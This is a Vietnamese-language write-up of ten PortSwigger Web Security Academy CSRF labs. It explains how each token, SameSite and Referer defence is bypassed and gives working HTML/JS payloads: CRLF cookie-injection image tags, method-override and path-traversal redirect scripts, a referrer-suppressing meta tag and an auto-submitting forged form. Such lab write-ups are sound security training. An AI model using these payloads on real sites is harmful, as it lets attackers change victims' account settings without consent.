# Lab 1: CSRF vulnerability with no defenses

Để có thể thực hiện được một cuộc tấn công CSRF, phải có 3 điều kiện chính:
- Có hành động trong ứng dụng
- Xử lý phiên dựa trên cookie
- Không có thông số yêu cầu không thể đoán trước

Đối với lab này:
- Hành động thay đổi email có thể bị tấn công CSRF.
- Sử dụng cookie phiên để xác định người dùng nào đã đưa ra yêu cầu. Không có token hoặc cơ chế nào để theo dõi phiên của người dùng.
- Kẻ tấn công có thể dễ dàng xác định giá trị của các tham số yêu cầu cần thiết để thực hiện hành động.
Với những điều kiện trên, ta sẽ xây dựng một trang web chứa HTML sau bằng `Generate CSRF PoC` trên Burp Suite Pro

Sau đó `Deliver exploit to victim`


# Lab 2: CSRF where token validation depends on request method

Tại chức năng thay đổi email, lab sử dụng method POST với tham số email kèm theo csrf token (là một giá trị duy nhất, bí mật và không thể đoán trước) để chống tấn công CSRF.

Tuy nhiên, server chỉ xác thực khi yêu cầu sử dụng method POST nhưng bỏ qua xác thực khi dùng method GET.

Bypass thành công thì upload form HTML lên server


# Lab 3: CSRF where token validation depends on token being present

Lab này sử dụng CSRF token để chống tấn công CSRF

Nếu bỏ qua CSRF token này thì server vẫn xác thực


Tạo form HTML để khai thác

# Lab 4: CSRF where token is not tied to user session

Lab này vẫn sử dụng CSRF token để chống tấn công CSRF nhưng chúng không liên kết với phiên của web, vì khi thay đổi token hoặc session thì request vẫn hoạt động bình thường

Dùng token chưa sử dụng của `carlos` để update email cho `wiener` thì vẫn thành công



Tạo payload bằng CSRF PoC Generator và upload



# Lab 5: CSRF where token is tied to non-session cookie

Khi login thì thấy cookie sử dụng 2 giá trị: `session` và `csrfKey`

Thay đổi giá trị của cookie `session` thì sẽ thoát khỏi phiên đã đăng nhập

Còn khi đổi giá trị `csrfKey` thì sẽ nhận được lỗi

Tức là dù hệ thống dùng `csrfKey` bảo vệ CSRF nhưng lại không liên kết với session.
Lấy `crsfKey` và `csrf` của `carlos` để thay đổi email cho `wiener` thì vẫn oke



Ở chức năng tìm kiếm, từ khóa tìm kiếm sẽ được đưa vào cookie, nên ta sẽ tận dụng chức năng này để đưa `csrfKey` vào cookie

Tạo script để khai thác
```html
<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
```


# Lab 6: CSRF where token is duplicated in cookie

Lab này khi thay đổi email thì nhận thấy giá trị cookie `csrfKey` và `csrf` giống nhau. Hệ thống sử dụng "double submit" để chống tấn công CSRF

Vì "double submit" sẽ so sánh `csrf` với `csrfKey` nên nếu ta đổi 2 giá trị này bất kỳ thì vẫn thực hiện thành công


Ở chức năng tìm kiếm, từ khóa tìm kiếm được trả về trong `Set-Cookie`. Vì chức năng tìm kiếm không có bảo vệ CSRF nên ta sẽ sử dụng để đưa cookie vào trình duyệt của victim.


Tạo mã HTML
```html
<img src="https://0af800a7035cfbf383ab0f31001e001e.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=1234567890%3b%20SameSite=None" onerror="document.forms[0].submit()">
```


# Lab 7: SameSite Lax bypass via method override

>Thuộc tính `SameSite` cho biết liệu cookie có được gửi theo yêu cầu bắt nguồn từ miền của bên thứ ba hay không. Nó có 3 trạng thái:
>- Strict: Hạn chế gửi cookie theo yêu cầu của bên thứ ba.
>- Lax: Cho phép gửi cookie với các yêu cầu GET do trang web của bên thứ ba khởi tạo.
>- None: Cho phép gửi cookie từ bất kỳ tên miền của bên thứ ba nào.
Ở chức năng thay đổi email không có bất kỳ token nào, chứng tỏ có thể tấn công CSRF

Ở `/login` cookie không được set `SameSite` nên mặc định trình duyệt dùng `SameSite=Lax`

Để bypass ta có thể ghi đè method. Test thử thì nhận được thông báo `Method Not Allowed`

Thêm param `_method` để yêu cầu server xử lý theo method truyền vào

Email đổi thành công

Payload
```js
<script>
document.location = "https://0a96004104527cfc88f3d59900830050.web-security-academy.net/my-account/change-email?email=3%40normal-user.net&_method=POST";
</script>
```

# Lab 8: SameSite Strict bypass via client-side redirect

Ở chức năng thay đổi email không có bất kỳ token nào, chứng tỏ có CSRF vul

Tại `/login` lúc này cookie đã được set thêm thuộc tính `SameSite=Strict`, tức là cookie chỉ được gửi kèm theo các request từ cùng một web đã tạo ra cookie đó

Để khai thác thì ta phải bypass hạn chế của `SameSite`.
Tìm kiếm trên web thì thấy khi comment ta sẽ được chuyển đến `/post/comment/confirmation?postId=9` nhưng sau vài giây, sẽ được đưa trở lại bài đăng trên blog `/post/9`

Tức là giá trị của `postId` sẽ được GET: `/post/[postId]`, thay đổi giá trị này thành
```url
/post/comment/confirmation?postId=9/../../my-account
```
Lúc này web sẽ chuyển hướng đến
```url
/post/9/../../my-account
```
Ta sẽ quay về được `/my-account`
Script bypass SameSite
```js
<script>
document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=9/../../my-account";
</script>
```
Sau khi chuyển hướng thành công về `/my-account`, ta sẽ tạo script để chuyển hướng đến `/my-account/change-email` và thay đổi email
```js
<script>
document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=9/../../my-account/change-email?email=abcd%40web-security-academy.net%26submit=1";
</script>
```

# Lab 9: CSRF where Referer validation depends on header being present

Tạo mã khai thác tương tự lab trên thì nhận được lỗi `Invalid referer header`

Nếu xóa header `Referer` đi thì thay đổi thành công


Bỏ qua xác thực `Referer` bằng cách thêm thẻ
```html
<meta name="referrer" content="never">
```


# Lab 10: CSRF with broken Referer validation

Lab này cũng sử dụng header `Referer` để validate

Server chỉ kiểm tra `Referer` chứa tên miền của chính nó, nên khi thêm domain name vào URL trong `Referer` cũng truy cập thành công

Payload
```html
<html>
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<form action="https://0ad30033044d1c74822539680003009c.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="1@normal-user.net" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/0ad30033044d1c74822539680003009c.web-security-academy.net');
document.forms[0].submit();
</script>
</body>
</html>
```
